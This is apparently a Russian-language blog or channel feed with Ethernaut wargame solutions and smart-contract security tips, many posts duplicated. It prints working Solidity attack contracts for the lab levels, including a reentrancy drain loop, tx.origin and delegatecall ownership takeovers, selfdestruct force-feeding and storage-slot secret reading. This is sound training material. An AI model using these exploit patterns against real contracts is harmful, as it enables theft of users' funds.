Ethernaut. Задача 3. Coin flip
В этой задаче нам нужно угадать сторону монетки 10 раз подряд.
Ссылка на задачу
В чем суть?
Казалось бы, предугадать падение монетки на какую-либо сторону, является задачей с вероятностью 50/50, особенно учитывая рандомное число в Factor.
Однако в Solidity большие проблемы со случайными числами, особенно теми, которые основаны на block.number.
Мы можем написать свой контракт, который будет предугадывать сторону. Как раз за счет block.number и проведения транзакции в одном блоке, мы сможем предсказать сторону.
Простой контракт может выглядеть так:
contract Hack {
using SafeMath for uint256;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function hack (CoinFlip _flip) external{
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
_flip.flip(side);
}
}
В общем, никогда не создавайте случайные числа, используя средства Solidity и block.number. Для этого лучше подключать сторонние сервисы, типа Chainlink VRF.
#ethernaut
В этой задаче нам нужно угадать сторону монетки 10 раз подряд.
Ссылка на задачу
В чем суть?
Казалось бы, предугадать падение монетки на какую-либо сторону, является задачей с вероятностью 50/50, особенно учитывая рандомное число в Factor.
Однако в Solidity большие проблемы со случайными числами, особенно теми, которые основаны на block.number.
Мы можем написать свой контракт, который будет предугадывать сторону. Как раз за счет block.number и проведения транзакции в одном блоке, мы сможем предсказать сторону.
Простой контракт может выглядеть так:
contract Hack {
using SafeMath for uint256;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function hack (CoinFlip _flip) external{
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
_flip.flip(side);
}
}
В общем, никогда не создавайте случайные числа, используя средства Solidity и block.number. Для этого лучше подключать сторонние сервисы, типа Chainlink VRF.
#ethernaut
👍2
Ethernaut. Задача 4. Telephone
В этой задаче нам нужно стать владельцем контракта.
Ссылка на задачу
В чем суть?
tx. origin - это такая штука, которую никогда не стоит использовать в своих смарт контрактах, если не понимаешь зачем. А лучше не использовать ее, даже если понимаешь зачем.
В данной задаче нам также нужно создать промежуточный контракт и пробросить наш личный адрес.
contract Hack {
function hack (Telephone _tel) external {
_tel.changeOwner(0x617F2E2fD72FD9D5503197092aC168c91465E7f2);
}
}
Получает так: мы, являемся tx.origin, через наш контракт, который является msg.sender, отправляем запрос в Telephone и вызываем функцию changeOwner(). И так как функция вызывается не нами (нашим адресом) напрямую, а нашим контрактом, то мы становимся новым владельцем.
tx.origin отстой - не используй его. Я встречал информацию, что в последующих версиях Solidity tx будет упразднен.
#ethernaut
В этой задаче нам нужно стать владельцем контракта.
Ссылка на задачу
В чем суть?
tx. origin - это такая штука, которую никогда не стоит использовать в своих смарт контрактах, если не понимаешь зачем. А лучше не использовать ее, даже если понимаешь зачем.
В данной задаче нам также нужно создать промежуточный контракт и пробросить наш личный адрес.
contract Hack {
function hack (Telephone _tel) external {
_tel.changeOwner(0x617F2E2fD72FD9D5503197092aC168c91465E7f2);
}
}
Получает так: мы, являемся tx.origin, через наш контракт, который является msg.sender, отправляем запрос в Telephone и вызываем функцию changeOwner(). И так как функция вызывается не нами (нашим адресом) напрямую, а нашим контрактом, то мы становимся новым владельцем.
tx.origin отстой - не используй его. Я встречал информацию, что в последующих версиях Solidity tx будет упразднен.
#ethernaut
👍1
Ethernaut. Задача 5. Token
В этой задаче нам нужно вывести с контракта как можно больше токенов.
Ссылка на задачу
В чем суть?
Задача также не актуальна для версии старше 0.8, так как тут уже есть защита от overflow и underflow.
Проблема была в том, что попытавшись перевести больше 20 токенов, которые есть на счету, система переходила в overflow и сумма получался перевод около ~250 токенов. Однако в 0.8 теперь такая операция будет выдавать ошибку, если нет unchecked.
#ethernaut
В этой задаче нам нужно вывести с контракта как можно больше токенов.
Ссылка на задачу
В чем суть?
Задача также не актуальна для версии старше 0.8, так как тут уже есть защита от overflow и underflow.
Проблема была в том, что попытавшись перевести больше 20 токенов, которые есть на счету, система переходила в overflow и сумма получался перевод около ~250 токенов. Однако в 0.8 теперь такая операция будет выдавать ошибку, если нет unchecked.
#ethernaut
👍2
Подсказки по безопасности - 1
Постепенно я буду разбирать файлы из приведенного выше roadmap и делать посты с подсказками по безопасности.
В данных статьях, файлах и рекомендациях, часто встречаются разборы конкретных контрактов и их функций. Сидеть над каждым отдельным случаем не вижу смысла, так как придется изучать и сам контракт и логику выполнения транзакций. Это будет очень затратно по времени и не факт, что пробема останется актуальной для других контрактов. Поэтому я буду выкладывать общие рекомендации по безопасности, которые могут пригодиться в работе.
Подсказка 1
Токены, у которых decimals больше 18, могут стать проблемой.
Считается, что максимальное значение decimals любого токена равен 18. Однако есть другие токены, типа YAMv2, у которых decimals равен 24. Это может привести к проблемам с выполнениями расчетов в функциях. Поэтому нужно проверять, чтобы контракт смог обрабатывать не стандартные значения decimals.
#security #tip #st
Постепенно я буду разбирать файлы из приведенного выше roadmap и делать посты с подсказками по безопасности.
В данных статьях, файлах и рекомендациях, часто встречаются разборы конкретных контрактов и их функций. Сидеть над каждым отдельным случаем не вижу смысла, так как придется изучать и сам контракт и логику выполнения транзакций. Это будет очень затратно по времени и не факт, что пробема останется актуальной для других контрактов. Поэтому я буду выкладывать общие рекомендации по безопасности, которые могут пригодиться в работе.
Подсказка 1
Токены, у которых decimals больше 18, могут стать проблемой.
Считается, что максимальное значение decimals любого токена равен 18. Однако есть другие токены, типа YAMv2, у которых decimals равен 24. Это может привести к проблемам с выполнениями расчетов в функциях. Поэтому нужно проверять, чтобы контракт смог обрабатывать не стандартные значения decimals.
#security #tip #st
👍1
Ethernaut. Задача 6. Delegation
В этой задаче нам нужно стать владельцем контракта.
Ссылка на задачу
В чем суть?
Тут нужно знать о работе delegatecall, fallback и низкоуровневых вызовах, и тогда задача кажется простой.
Функция fallback вызывается тогда, когда с другого контракта пришла транзакция, которая пытается вызвать функцию, которой нет в данном контракте. А delegatecall выполняет функцию стороннего контракта в рамках своего же контракта. Звучит запутано, но на практике все проще:
Мы создаем свой хакерский контракт, через низкоуровневый вызов пытаемся запустить функцию pwn() в Delegation. Но так как там нет такой функции, вызов попадает в fallback, и уже там, в рамках delegatecall и вызывается pwn() из Delegate , которая отдает нам права владельца.
Самый простой хакерский контракт может выглядеть так:
contract Hack {
function hack (address _deleg) external {
_deleg.call(abi.encodeWithSignature("pwn()"));
}
}
Я уже писал ранее и повторюсь: с delegatecall нужно быть очень и очень осторожным! Используйте ее только если наверняка знаете, как она будет работать!
#ethernaut
В этой задаче нам нужно стать владельцем контракта.
Ссылка на задачу
В чем суть?
Тут нужно знать о работе delegatecall, fallback и низкоуровневых вызовах, и тогда задача кажется простой.
Функция fallback вызывается тогда, когда с другого контракта пришла транзакция, которая пытается вызвать функцию, которой нет в данном контракте. А delegatecall выполняет функцию стороннего контракта в рамках своего же контракта. Звучит запутано, но на практике все проще:
Мы создаем свой хакерский контракт, через низкоуровневый вызов пытаемся запустить функцию pwn() в Delegation. Но так как там нет такой функции, вызов попадает в fallback, и уже там, в рамках delegatecall и вызывается pwn() из Delegate , которая отдает нам права владельца.
Самый простой хакерский контракт может выглядеть так:
contract Hack {
function hack (address _deleg) external {
_deleg.call(abi.encodeWithSignature("pwn()"));
}
}
Я уже писал ранее и повторюсь: с delegatecall нужно быть очень и очень осторожным! Используйте ее только если наверняка знаете, как она будет работать!
#ethernaut
👍1
Ethernaut. Задача 7. Force
В этой задаче нам нужно пополнить баланс контракта.
Ссылка на задачу
В чем суть?
Даже если в контракте нет никаких функций для приема денег или вообще ничего нет, на него можно прислать деньги двумя способами:
1) Это перечисление награды за майнинг;
2) Вызов selfdestruct;
Вот простой пример контракта хакера:
contract Hack {
function destroy (address payable destr) external {
selfdestruct(destr);
}
receive() external payable{}
}
Он вызывает у себя функцию уничтожения, которая пересылает все деньги на адрес указанного контракта. receive() нужна для того чтобы изначально пополнить баланс нашего контракта.
Вообще пример с selfdestruct является одним из самых популярных методов атаки - Force feeding, о которой можно прочитать в предыдущих постах на канале.
#ethernaut
В этой задаче нам нужно пополнить баланс контракта.
Ссылка на задачу
В чем суть?
Даже если в контракте нет никаких функций для приема денег или вообще ничего нет, на него можно прислать деньги двумя способами:
1) Это перечисление награды за майнинг;
2) Вызов selfdestruct;
Вот простой пример контракта хакера:
contract Hack {
function destroy (address payable destr) external {
selfdestruct(destr);
}
receive() external payable{}
}
Он вызывает у себя функцию уничтожения, которая пересылает все деньги на адрес указанного контракта. receive() нужна для того чтобы изначально пополнить баланс нашего контракта.
Вообще пример с selfdestruct является одним из самых популярных методов атаки - Force feeding, о которой можно прочитать в предыдущих постах на канале.
#ethernaut
👍2
Ethernaut. Задача 8. Vault
В этой задаче нам нужно открыть сейф.
Ссылка на задачу
В чем суть?
На самом деле эта задача заставила меня посидеть в поиске дольше остальных, и вот почему.
Да, я знаю, что любые private переменные на самом деле можно прочитать. Для этого стоит развернуть его в локальной сети, например в hardaht, и вызвать метод ether.provider.getStorageAt(address, slot), но меня заинтересовал вопрос, а можно ли напрямую из контракта считать слоты памяти в другом контракте, например, через assembly.
Ответ, нет. Напрямую это сделать нельзя. По крайней мере даже средне сложным способом. Я такой вариант нигде не нашел. Конечно, всегда есть вероятность, что кто-то знает язык настолько хорошо, что может считать память каким-то неизвестным способом, но для обычных людей проще использовать ethers.js.
Итак, вам нужно задеплоить контракт в тестовую сеть, передав аргументы в конструктор через [hre.ethers.utils.formatBytes32String('yourPassword')], а потом в тестах или консоли вызвать метод getStorageAt() на второй слот, так как переменная private password лежит именно там.
#ethernaut
В этой задаче нам нужно открыть сейф.
Ссылка на задачу
В чем суть?
На самом деле эта задача заставила меня посидеть в поиске дольше остальных, и вот почему.
Да, я знаю, что любые private переменные на самом деле можно прочитать. Для этого стоит развернуть его в локальной сети, например в hardaht, и вызвать метод ether.provider.getStorageAt(address, slot), но меня заинтересовал вопрос, а можно ли напрямую из контракта считать слоты памяти в другом контракте, например, через assembly.
Ответ, нет. Напрямую это сделать нельзя. По крайней мере даже средне сложным способом. Я такой вариант нигде не нашел. Конечно, всегда есть вероятность, что кто-то знает язык настолько хорошо, что может считать память каким-то неизвестным способом, но для обычных людей проще использовать ethers.js.
Итак, вам нужно задеплоить контракт в тестовую сеть, передав аргументы в конструктор через [hre.ethers.utils.formatBytes32String('yourPassword')], а потом в тестах или консоли вызвать метод getStorageAt() на второй слот, так как переменная private password лежит именно там.
#ethernaut
👍2
Ethernaut. Задача 9. King
В этой задаче нам предлагают, как я понял, сломать логику игры, чтобы мы остались последним королем.
Ссылка на задачу
В чем суть?
Здесь секрет кроется в king.transfer(msg.value), т.е. в одной транзакции отправляются деньги королю, и только потом идет обновление переменных короля и баланса.
Сделав так, чтобы можно было отправить деньги на контракт, но не получить выигрыш, мы фактически заблокируем его.
Решением было бы разделить эту логику и позволить текущему королю выводить деньги вручную.
Простой код для этого:
contract Hack {
function hack( address _king) external payable {
_king.call{value:msg.value}("");
}
}
Я думал, что можно решить эту задачу с selfdestruct, как в одном из примеров выше, но это не сработало. Деньги то не балансе контракта King появились, а вот переменная prize не обновилась. А все потому, что мы закинули деньги без вызова каких-либо функций, поэтому receive не сработала.
#ethernaut
В этой задаче нам предлагают, как я понял, сломать логику игры, чтобы мы остались последним королем.
Ссылка на задачу
В чем суть?
Здесь секрет кроется в king.transfer(msg.value), т.е. в одной транзакции отправляются деньги королю, и только потом идет обновление переменных короля и баланса.
Сделав так, чтобы можно было отправить деньги на контракт, но не получить выигрыш, мы фактически заблокируем его.
Решением было бы разделить эту логику и позволить текущему королю выводить деньги вручную.
Простой код для этого:
contract Hack {
function hack( address _king) external payable {
_king.call{value:msg.value}("");
}
}
Я думал, что можно решить эту задачу с selfdestruct, как в одном из примеров выше, но это не сработало. Деньги то не балансе контракта King появились, а вот переменная prize не обновилась. А все потому, что мы закинули деньги без вызова каких-либо функций, поэтому receive не сработала.
#ethernaut
Ethernaut. Задача 10. Reentrancy
В этой задаче нам предлагают украсть все деньги с контракта.
Ссылка на задачу
В чем суть?
С Reentrancy мы знакомы уже очень давно. Обнаружить его в контракте достаточно просто: нужно посмотреть в какой момент обнуляется баланс снимающего деньги. Если он идет после отправки денег, то это и есть потенциальная уязвимость, как в данном примере в функции withdraw.
Опять же привожу пример кода, который сработал у меня:
contract Hack {
uint constant BID = 0.1 ether;
Reentrance hack;
constructor(address payable _hack) {
hack = Reentrance(_hack);
}
function donateTo() external payable{
address(hack).call{value: msg.value}(abi.encodeWithSignature("donate(address)", address(this)));
}
function attack() public {
address(hack).call(abi.encodeWithSignature("withdraw(uint256)", BID));
}
receive() external payable {
if(address(hack).balance >= BID) {
attack();
}
}
}
В сети я встретил и другие примеры, но все они сходились к одному: сделать первоначальный взнос, а потом через цикл снять деньги с контракта.
Reentrancy одна из самых популярных атак в блокчейне, поэтому важно следить за своим кодом и обнулять баланс прежде, чем отправлять его пользователю.
#ethernaut
В этой задаче нам предлагают украсть все деньги с контракта.
Ссылка на задачу
В чем суть?
С Reentrancy мы знакомы уже очень давно. Обнаружить его в контракте достаточно просто: нужно посмотреть в какой момент обнуляется баланс снимающего деньги. Если он идет после отправки денег, то это и есть потенциальная уязвимость, как в данном примере в функции withdraw.
Опять же привожу пример кода, который сработал у меня:
contract Hack {
uint constant BID = 0.1 ether;
Reentrance hack;
constructor(address payable _hack) {
hack = Reentrance(_hack);
}
function donateTo() external payable{
address(hack).call{value: msg.value}(abi.encodeWithSignature("donate(address)", address(this)));
}
function attack() public {
address(hack).call(abi.encodeWithSignature("withdraw(uint256)", BID));
}
receive() external payable {
if(address(hack).balance >= BID) {
attack();
}
}
}
В сети я встретил и другие примеры, но все они сходились к одному: сделать первоначальный взнос, а потом через цикл снять деньги с контракта.
Reentrancy одна из самых популярных атак в блокчейне, поэтому важно следить за своим кодом и обнулять баланс прежде, чем отправлять его пользователю.
#ethernaut
👍2
Подсказки по безопасности - 2
Неконтролируемое значение return в функциях transfer и transferFrom.
Выполнение функций ERC20 не всегда последовательное. Некоторые исполнения transfer / transferFrom могут вернуть false на неуспешную транзакцию вместо отката (revert). Поэтому его обязательно нужно обрабатывать в require().
Также нужно следить и за true в return, как это рекомендует сам стандарт. В некоторых случаях, вызов transfer() будет revert, даже если транзакция пройдет успешно. Это случается потому, что Solidity проверяет RETURNDATASIZE на соответствие интерфейсу ERC20.
Рекомендация. Проверяйте значение return / revert на 0 / false / true или используйте SafeERC20 от OpenZeppelin.
#security #tip #st
Неконтролируемое значение return в функциях transfer и transferFrom.
Выполнение функций ERC20 не всегда последовательное. Некоторые исполнения transfer / transferFrom могут вернуть false на неуспешную транзакцию вместо отката (revert). Поэтому его обязательно нужно обрабатывать в require().
Также нужно следить и за true в return, как это рекомендует сам стандарт. В некоторых случаях, вызов transfer() будет revert, даже если транзакция пройдет успешно. Это случается потому, что Solidity проверяет RETURNDATASIZE на соответствие интерфейсу ERC20.
Рекомендация. Проверяйте значение return / revert на 0 / false / true или используйте SafeERC20 от OpenZeppelin.
#security #tip #st
👍1
Подсказки по безопасности - 3
Отсутствие процедуры проверки ввода значений.
В своих функциях желательно проверять, что:
- uint больше 0;
- uint имеет ограничения;
- int не может иметь отрицательное значение;
- длина массива должна совпадать, когда он передается как аргумент;
- адрес не должен быть 0х0;
#security #tip #st
Отсутствие процедуры проверки ввода значений.
В своих функциях желательно проверять, что:
- uint больше 0;
- uint имеет ограничения;
- int не может иметь отрицательное значение;
- длина массива должна совпадать, когда он передается как аргумент;
- адрес не должен быть 0х0;
#security #tip #st
Ethernaut. Задача 11. Elevator
В этой задаче нам предлагают достичь последнего этажа.
Ссылка на задачу
В чем суть?
Признаться честно, я вообще не понял ни сути этой задачи, ни цели обучения, ни решения. Поэтому решение для нее было просто взято из поиска.
contract Hack {
Elevator challenge;
constructor (address _challenge) public {
challenge = Elevator(_challenge);
}
uint256 timesCalled;
function attack() external payable {
challenge.goTo(0);
}
function isLastFloor(uint256 /* floor */) external returns (bool) {
timesCalled++;
if (timesCalled > 1) return true;
else return false;
}
}
Да, я посмотрел и другие решение, но все равно очень странная задача. Возможно, вернусь к ней еще раз немного позже.
!!! Комментарий от участника Nekto проливает свет на эту задачу:
Логика контракта (Elevator) рассчитывает, что этот контракт будет вызываться из контракта Building в котором есть частичка логики и эта логика (в Building) запрещает нам подняться на последний этаж в Elevator
Мы создаем другой контракт, похожий по интерфейсу на контракт Building и в поддельном контракте меняем логику, от которой зависит контракт Elevator и попадаем на последний этаж.
Короче не рассчитывайте на логику в других контрактах без дополнительных мер предосторожности.
#ethernaut
В этой задаче нам предлагают достичь последнего этажа.
Ссылка на задачу
В чем суть?
Признаться честно, я вообще не понял ни сути этой задачи, ни цели обучения, ни решения. Поэтому решение для нее было просто взято из поиска.
contract Hack {
Elevator challenge;
constructor (address _challenge) public {
challenge = Elevator(_challenge);
}
uint256 timesCalled;
function attack() external payable {
challenge.goTo(0);
}
function isLastFloor(uint256 /* floor */) external returns (bool) {
timesCalled++;
if (timesCalled > 1) return true;
else return false;
}
}
Да, я посмотрел и другие решение, но все равно очень странная задача. Возможно, вернусь к ней еще раз немного позже.
!!! Комментарий от участника Nekto проливает свет на эту задачу:
Логика контракта (Elevator) рассчитывает, что этот контракт будет вызываться из контракта Building в котором есть частичка логики и эта логика (в Building) запрещает нам подняться на последний этаж в Elevator
Мы создаем другой контракт, похожий по интерфейсу на контракт Building и в поддельном контракте меняем логику, от которой зависит контракт Elevator и попадаем на последний этаж.
Короче не рассчитывайте на логику в других контрактах без дополнительных мер предосторожности.
#ethernaut
👍1
Ethernaut. Задача 12. Privacy
В этой задаче нам нужно получить доступ к ключу в массиве data.
Ссылка на задачу
В чем суть?
Мне нравятся такие задачи на работу с памятью. Этот пример очень похож на один из предыдущих - Vault, но с большим количеством переменных.
Тут нужно знать несколько моментов о работе с памятью. Пройдемся по переменным в задаче.
bool public locked - булевы переменные в Solidity занимают весь слот памяти в 32 байта.
uint256 public ID - 256 и есть те же 32 байта, поэтому занимается еще один целый слот памяти.
Далее немного интереснее. Тут сразу три переменные (uint8 private flattening, uint8 private denomination, uint16 private awkwardness) занимают весь слот на 32 байта. Это происходит потому, что они идут друг за другом.
Если, например, один unit8 лежал бы где-нибудь после массива, то в слот поместились бы только один uin8 и uint16, которые находятся вместе. Поэтому при написании смарт контрактов, вам стоит обращать на это внимание и располагать небольшие переменные рядом друг с другом.
Затем идет нужный нам массив с фиксированной длиной bytes32[3] private data. Из функции unlock() нам становится понятно, что ключ лежит в последнем значении массива.
Если разбить все по слотам памяти, то получается:
bool public locked - 0 слот;
uint256 public ID - 1 слот;
uint8 private flattening, uint8 private denomination, uint16 private awkwardness - 2 слот;
1 элемент массива data - 3 слот;
2 элемент массива data - 4 слот;
3 элемент массива data - 5 слот;
А дальше, все как в примере с Vault: разворачиваем контракт в hardhat и достаем значение из 5 слота при помощи ethers.provider.getStorageAt().
#ethernaut
В этой задаче нам нужно получить доступ к ключу в массиве data.
Ссылка на задачу
В чем суть?
Мне нравятся такие задачи на работу с памятью. Этот пример очень похож на один из предыдущих - Vault, но с большим количеством переменных.
Тут нужно знать несколько моментов о работе с памятью. Пройдемся по переменным в задаче.
bool public locked - булевы переменные в Solidity занимают весь слот памяти в 32 байта.
uint256 public ID - 256 и есть те же 32 байта, поэтому занимается еще один целый слот памяти.
Далее немного интереснее. Тут сразу три переменные (uint8 private flattening, uint8 private denomination, uint16 private awkwardness) занимают весь слот на 32 байта. Это происходит потому, что они идут друг за другом.
Если, например, один unit8 лежал бы где-нибудь после массива, то в слот поместились бы только один uin8 и uint16, которые находятся вместе. Поэтому при написании смарт контрактов, вам стоит обращать на это внимание и располагать небольшие переменные рядом друг с другом.
Затем идет нужный нам массив с фиксированной длиной bytes32[3] private data. Из функции unlock() нам становится понятно, что ключ лежит в последнем значении массива.
Если разбить все по слотам памяти, то получается:
bool public locked - 0 слот;
uint256 public ID - 1 слот;
uint8 private flattening, uint8 private denomination, uint16 private awkwardness - 2 слот;
1 элемент массива data - 3 слот;
2 элемент массива data - 4 слот;
3 элемент массива data - 5 слот;
А дальше, все как в примере с Vault: разворачиваем контракт в hardhat и достаем значение из 5 слота при помощи ethers.provider.getStorageAt().
#ethernaut
👍1
Подсказки по безопасности - 4
Использовать фиксированные лимиты газа не рекомендуется.
Так как цена на газ постоянно меняется, особенно в период высокой волатильности криптовалют, лучше не указывать жесткие лимиты на газ в своем контракте.
В случае резкого повышения цены, есть большая вероятность, что транзакции не будут выполнены.
#security #tip #st
Использовать фиксированные лимиты газа не рекомендуется.
Так как цена на газ постоянно меняется, особенно в период высокой волатильности криптовалют, лучше не указывать жесткие лимиты на газ в своем контракте.
В случае резкого повышения цены, есть большая вероятность, что транзакции не будут выполнены.
#security #tip #st
👍1
Подсказки по безопасности - 6
Pragma и версии Solidity.
Использование последних версий Solidity позволяет избегать ошибок и багов, которые встречались в более ранних версиях.
Также нужно обращать внимание на то, чтобы все контракты, которые связаны друг с другом, работали с одной и той же версией языка.
При деплое смарт контрактов рекомендуется блокировать версию pragma (убирать значок ^), для избегания загрузки не правильным компилятором (выше или ниже версии вашего контракта).
#security #tip #st
Pragma и версии Solidity.
Использование последних версий Solidity позволяет избегать ошибок и багов, которые встречались в более ранних версиях.
Также нужно обращать внимание на то, чтобы все контракты, которые связаны друг с другом, работали с одной и той же версией языка.
При деплое смарт контрактов рекомендуется блокировать версию pragma (убирать значок ^), для избегания загрузки не правильным компилятором (выше или ниже версии вашего контракта).
#security #tip #st
👍1
Ethernaut. Задача 14. Gatekeeper 2
Отступление. Чем больше я разбираю задачи, тем яснее понимаю, что еще многого не знаю. Поэтому некоторые задачи я сейчас пропущу и вернусь к ним, как пройду остальные. Например, с gatekeeper 1 я вчера долго возился, разобрал, но не понял как объяснить ее, и значит "не понял".
Но вернемся к Gatekeeper 2.
В этой задаче нам нужно пройти через все проверки, чтобы наш адрес записался в переменную entrant.
Ссылка на задачу
В чем суть?
Первые два модификатора пройти достаточно просто. GateOne - сделан по примеру задачи Telephone, а gateTwo, с его "ужасным" assembly {x := extcodesize(caller())} - просит, чтобы байткод нашего контракта был равен 0, что бывает в том случае, если там нет никаких функций. Кстати, на extcodesize нельзя полагаться в вопросе безопасности! Не делайте так!
С обоими "воротами" мы можем справиться, вызвав constructor в нашем контракте на GatekeeperTwo.
С третьими воротами сложнее.
Требуется выполнить равенство:
uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1
Т.е. мы берем адрес вызывающего функцию, кодируем, получаем хеш через keccac256, потом берем первые 8 байтов. Все это оборачиваем в uint64 и... Приводим к равенству.
Но, что обозначает эта каретка "^". И тут, если не знаешь, то не пройдешь дальше.
А означает она - XOR, или сложение по модулю 2, или исключающее "или". Звучит замысловато, но по сути это побитовое сложение, когда отдельные разряды складываются независимо от других. Например, у нас есть такой порядок бит:
010101
И нужно сложить его с этим
101101
У нас получится:
111000
т.е. "1+1"= 0, "1+0"=1, "0+0"=0.
Самое интересное, что, если мы сложим результат, например со вторым значением, то получим первое. Это мы и должны использовать в задаче.
Получается, что:
uint64(_gateKey) будет равен
uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0) - 1
Отсюда мы можем получить итоговый контракт для взлома:
contract Hack {
constructor (GatekeeperTwo _gates ) {
bytes8 key;
unchecked {
key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0) - 1);
}
_gates.enter(key);
}
}
P.S. unchecked нужен для Solidity 0.8, для защиты от overflow в uint64(0) - 1.
Задача может показаться сложной, если не знаешь про эти побитовые операции. А сколько людей вообще про них знает?!
#ethernaut
Отступление. Чем больше я разбираю задачи, тем яснее понимаю, что еще многого не знаю. Поэтому некоторые задачи я сейчас пропущу и вернусь к ним, как пройду остальные. Например, с gatekeeper 1 я вчера долго возился, разобрал, но не понял как объяснить ее, и значит "не понял".
Но вернемся к Gatekeeper 2.
В этой задаче нам нужно пройти через все проверки, чтобы наш адрес записался в переменную entrant.
Ссылка на задачу
В чем суть?
Первые два модификатора пройти достаточно просто. GateOne - сделан по примеру задачи Telephone, а gateTwo, с его "ужасным" assembly {x := extcodesize(caller())} - просит, чтобы байткод нашего контракта был равен 0, что бывает в том случае, если там нет никаких функций. Кстати, на extcodesize нельзя полагаться в вопросе безопасности! Не делайте так!
С обоими "воротами" мы можем справиться, вызвав constructor в нашем контракте на GatekeeperTwo.
С третьими воротами сложнее.
Требуется выполнить равенство:
uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1
Т.е. мы берем адрес вызывающего функцию, кодируем, получаем хеш через keccac256, потом берем первые 8 байтов. Все это оборачиваем в uint64 и... Приводим к равенству.
Но, что обозначает эта каретка "^". И тут, если не знаешь, то не пройдешь дальше.
А означает она - XOR, или сложение по модулю 2, или исключающее "или". Звучит замысловато, но по сути это побитовое сложение, когда отдельные разряды складываются независимо от других. Например, у нас есть такой порядок бит:
010101
И нужно сложить его с этим
101101
У нас получится:
111000
т.е. "1+1"= 0, "1+0"=1, "0+0"=0.
Самое интересное, что, если мы сложим результат, например со вторым значением, то получим первое. Это мы и должны использовать в задаче.
Получается, что:
uint64(_gateKey) будет равен
uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0) - 1
Отсюда мы можем получить итоговый контракт для взлома:
contract Hack {
constructor (GatekeeperTwo _gates ) {
bytes8 key;
unchecked {
key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0) - 1);
}
_gates.enter(key);
}
}
P.S. unchecked нужен для Solidity 0.8, для защиты от overflow в uint64(0) - 1.
Задача может показаться сложной, если не знаешь про эти побитовые операции. А сколько людей вообще про них знает?!
#ethernaut
❤1
Логические побитовые операции
Я встречал уже несколько примеров с побитовым кодом, поэтому решил сделать небольшой пост об этом. Возможно, кому-то он тоже будет полезен.
Побитовое И - символ &
Побитовое И используется для выключения битов. Любой бит, установленный в 0, вызывает установку соответствующего бита результата также в 0.
11001010
11100010
11000010
Побитовое ИЛИ - символ |
Побитовое ИЛИ используется для включения битов. Любой бит, установленный в 1, вызывает установку соответствующего бита результата также в 1.
11001010
11100010
11101010
Побитовое НЕ - символ ~
Побитовое НЕ инвертирует состояние каждого бита исходной переменной.
11001010
00110101
Побитовое исключающее ИЛИ - символ ^
Исключающее ИЛИ устанавливает значение бита результата в 1, если значения в соответствующих битах исходных переменных различны.
11001010
11100010
00101000
Побитовые сдвиги
Операторы сдвига << и >> сдвигают биты в переменной влево или вправо на указанное число. При этом на освободившиеся позиции устанавливаются нули (кроме сдвига вправо отрицательного числа, в этом случае на свободные позиции устанавливаются единицы, так как числа представляются в двоичном дополнительном коде и необходимо поддерживать знаковый бит).
Сдвиг влево может применяться для умножения числа на два, сдвиг вправо — для деления.
x = 7 // 00000111 (7)
x = x >> 1 // 00000011 (3)
x = x << 1 // 00000110 (6)
x = x << 5 // 11000000 (-64)
x = x >> 2 // 11110000 (-16)
#побитовые #бит #операции #сдвиг #xor
Я встречал уже несколько примеров с побитовым кодом, поэтому решил сделать небольшой пост об этом. Возможно, кому-то он тоже будет полезен.
Побитовое И - символ &
Побитовое И используется для выключения битов. Любой бит, установленный в 0, вызывает установку соответствующего бита результата также в 0.
11001010
11100010
11000010
Побитовое ИЛИ - символ |
Побитовое ИЛИ используется для включения битов. Любой бит, установленный в 1, вызывает установку соответствующего бита результата также в 1.
11001010
11100010
11101010
Побитовое НЕ - символ ~
Побитовое НЕ инвертирует состояние каждого бита исходной переменной.
11001010
00110101
Побитовое исключающее ИЛИ - символ ^
Исключающее ИЛИ устанавливает значение бита результата в 1, если значения в соответствующих битах исходных переменных различны.
11001010
11100010
00101000
Побитовые сдвиги
Операторы сдвига << и >> сдвигают биты в переменной влево или вправо на указанное число. При этом на освободившиеся позиции устанавливаются нули (кроме сдвига вправо отрицательного числа, в этом случае на свободные позиции устанавливаются единицы, так как числа представляются в двоичном дополнительном коде и необходимо поддерживать знаковый бит).
Сдвиг влево может применяться для умножения числа на два, сдвиг вправо — для деления.
x = 7 // 00000111 (7)
x = x >> 1 // 00000011 (3)
x = x << 1 // 00000110 (6)
x = x << 5 // 11000000 (-64)
x = x >> 2 // 11110000 (-16)
#побитовые #бит #операции #сдвиг #xor
Ethernaut. Задача 15. Naught Coin
В этой задаче нам нужно вывести все токены со своего баланса.
Ссылка на задачу
В чем суть?
Задача не столько про кодинг, сколько про знание стандарта ERC20. При том, что на функцию transfer() стоит защита по времени в виде модификатора, все равно нам доступны и другие функции контракта ERC20.
В Ремиксе это можно увидеть, сделав деплой. Поэтому нам достаточно вызвать функцию approve() и затем transferFrom() для решения данной задачи. Краткая функция взлома может выглядеть так:
function hack() external{
balance = challenge.balanceOf(myAdd);
challenge.approve(myAdd, balance);
challenge.transferFrom(myAdd, otherAdd, balance);
}
где challenge это объект контракта.
При взломе контрактов, которые используют различные стандарты, сначала нужно изучить сам стандарт, чтобы понять все возможности для транзакций.
#ethernaut
В этой задаче нам нужно вывести все токены со своего баланса.
Ссылка на задачу
В чем суть?
Задача не столько про кодинг, сколько про знание стандарта ERC20. При том, что на функцию transfer() стоит защита по времени в виде модификатора, все равно нам доступны и другие функции контракта ERC20.
В Ремиксе это можно увидеть, сделав деплой. Поэтому нам достаточно вызвать функцию approve() и затем transferFrom() для решения данной задачи. Краткая функция взлома может выглядеть так:
function hack() external{
balance = challenge.balanceOf(myAdd);
challenge.approve(myAdd, balance);
challenge.transferFrom(myAdd, otherAdd, balance);
}
где challenge это объект контракта.
При взломе контрактов, которые используют различные стандарты, сначала нужно изучить сам стандарт, чтобы понять все возможности для транзакций.
#ethernaut
👍1
